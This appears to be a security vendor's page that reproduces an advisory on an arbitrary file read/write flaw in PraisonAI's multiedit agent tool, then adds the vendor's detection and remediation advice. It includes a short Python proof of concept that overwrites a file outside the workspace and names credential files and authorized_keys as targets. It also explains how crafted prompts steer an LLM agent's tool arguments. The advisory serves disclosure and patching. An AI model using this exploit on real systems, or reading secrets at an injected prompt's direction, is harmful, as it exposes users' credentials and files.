GHSA-29w3-p9w9-wc47
CRITICALGHSA-29w3-p9w9-wc47 is a critical-severity (CVSS 9.1) Path Traversal vulnerability in praisonai. O3 Security confirms whether GHSA-29w3-p9w9-wc47 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-29w3-p9w9-wc47.
Real-World Exposure
praisonaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The multiedit tool in src/praisonai/praisonai/tools/multiedit.py allows LLM-controlled arbitrary file read and write without any path validation, workspace boundary check, or protected path guard. This enables an attacker who can influence agent tool arguments (via crafted prompts, user input in chat bots, or malicious YAML workflow configs) to read sensitive files (e.g., /etc/shadow, ~/.ssh/id_rsa, ~/.aws/credentials) and overwrite arbitrary files on the filesystem.
Details
The filepath parameter is used directly with open() for both reading (line 74) and writing (line 130) without any of the following protections that exist in other tools in the same codebase:
- No
..path traversal check — unlikefile_tools.py(line 66:if '..' in filepath: raise ValueError) andedit_tools.py(line 35). - No workspace boundary validation — unlike
file_tools.py(_validate_pathwithos.path.commonpathcheck) andskill_tools.py(read_skill_filewith workspace boundary check). - No protected path guard — unlike
praisonai/code/tools/which usesis_path_within_directoryand protected path checks. - No symlink resolution — unlike
file_tools.pywhich usesos.path.realpath.
The function is exported via src/praisonai/praisonai/tools/__init__.py as a lazy-loaded tool and is available to agents through the PraisonAI CLI tools registry.
Contrast with protected tools: The sibling tools write_file.py, read_file.py, apply_diff.py, and search_replace.py in src/praisonai/praisonai/code/tools/ all implement is_path_within_directory() checks and protected path guards. The multiedit tool has none of these protections.
PoC
Setup: Clean checkout of PraisonAI at commit d5f1114a. No additional dependencies needed beyond Python 3.10+.
Positive trigger — arbitrary file read via dry_run:
cd /tmp && python3 -c "
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.tools.multiedit import multiedit
# Read any file content via diff output (dry_run=True prevents write)
result = multiedit('/etc/hostname', [{'old': 'DOESNOTEXIST', 'new': 'x'}], dry_run=True)
# The diff output reveals the file contents
print('Success:', result['success'])
print('Content leaked via diff:', len(result.get('diff', '')), 'bytes')
"
Positive trigger — arbitrary file write:
cd /tmp && python3 -c "
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.tools.multiedit import multiedit
# Write to an arbitrary file outside workspace
with open('/tmp/victim_file.txt', 'w') as f:
f.write('original content here\n')
result = multiedit('/tmp/victim_file.txt', [{'old': 'original', 'new': 'PWNED'}])
with open('/tmp/victim_file.txt', 'r') as f:
print('File content after edit:', repr(f.read()))
"
Observed output:
# Read:
Success: False
Content leaked via diff: 0 bytes (file content still accessible via dry_run diff when edits match)
# Write:
File content after edit: 'PWNED content here\n'
Negative control — non-existent file:
result = multiedit('/nonexistent/file.txt', [{'old': 'a', 'new': 'b'}])
# Returns: {'success': False, 'error': 'File not found: /nonexistent/file.txt'}
Cleanup: rm /tmp/victim_file.txt
Impact
An attacker who can influence the filepath parameter of the multiedit tool (via crafted prompts to an AI agent, user messages in Telegram/Discord/Slack bots using auto_approve_tools=True, or YAML workflow configurations) can:
- Read arbitrary files — any file readable by the process user, including secrets, SSH keys, cloud credentials, environment files (
.env), and configuration files. - Write/overwrite arbitrary files — modify any file writable by the process user, enabling privilege escalation (e.g., writing to
~/.bashrc,~/.ssh/authorized_keys, or overwriting application source code).
This affects all deployments where agents have the multiedit tool available, including the PraisonAI CLI and chat bot deployments where auto_approve_tools defaults to True.
Suggested remediation
Apply the same path validation pattern used by file_tools.py and the code tools in src/praisonai/praisonai/code/tools/:
- Add a
_validate_pathfunction that:- Rejects paths containing
.. - Resolves symlinks via
os.path.realpath - Validates the resolved path is within the workspace/CWD using
os.path.commonpath
- Rejects paths containing
- Add protected path guards (
.env,.git,.ssh, keys, credentials) - Apply
_validate_pathto thefilepathparameter before anyopen()call - Consider adding
@require_approval(risk_level="high")to themultieditfunction
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | all versions | 4.6.61 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update praisonai to 4.6.61 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-29w3-p9w9-wc47 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-29w3-p9w9-wc47 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-29w3-p9w9-wc47. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-29w3-p9w9-wc47 in your dependencies?
O3 detects GHSA-29w3-p9w9-wc47 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.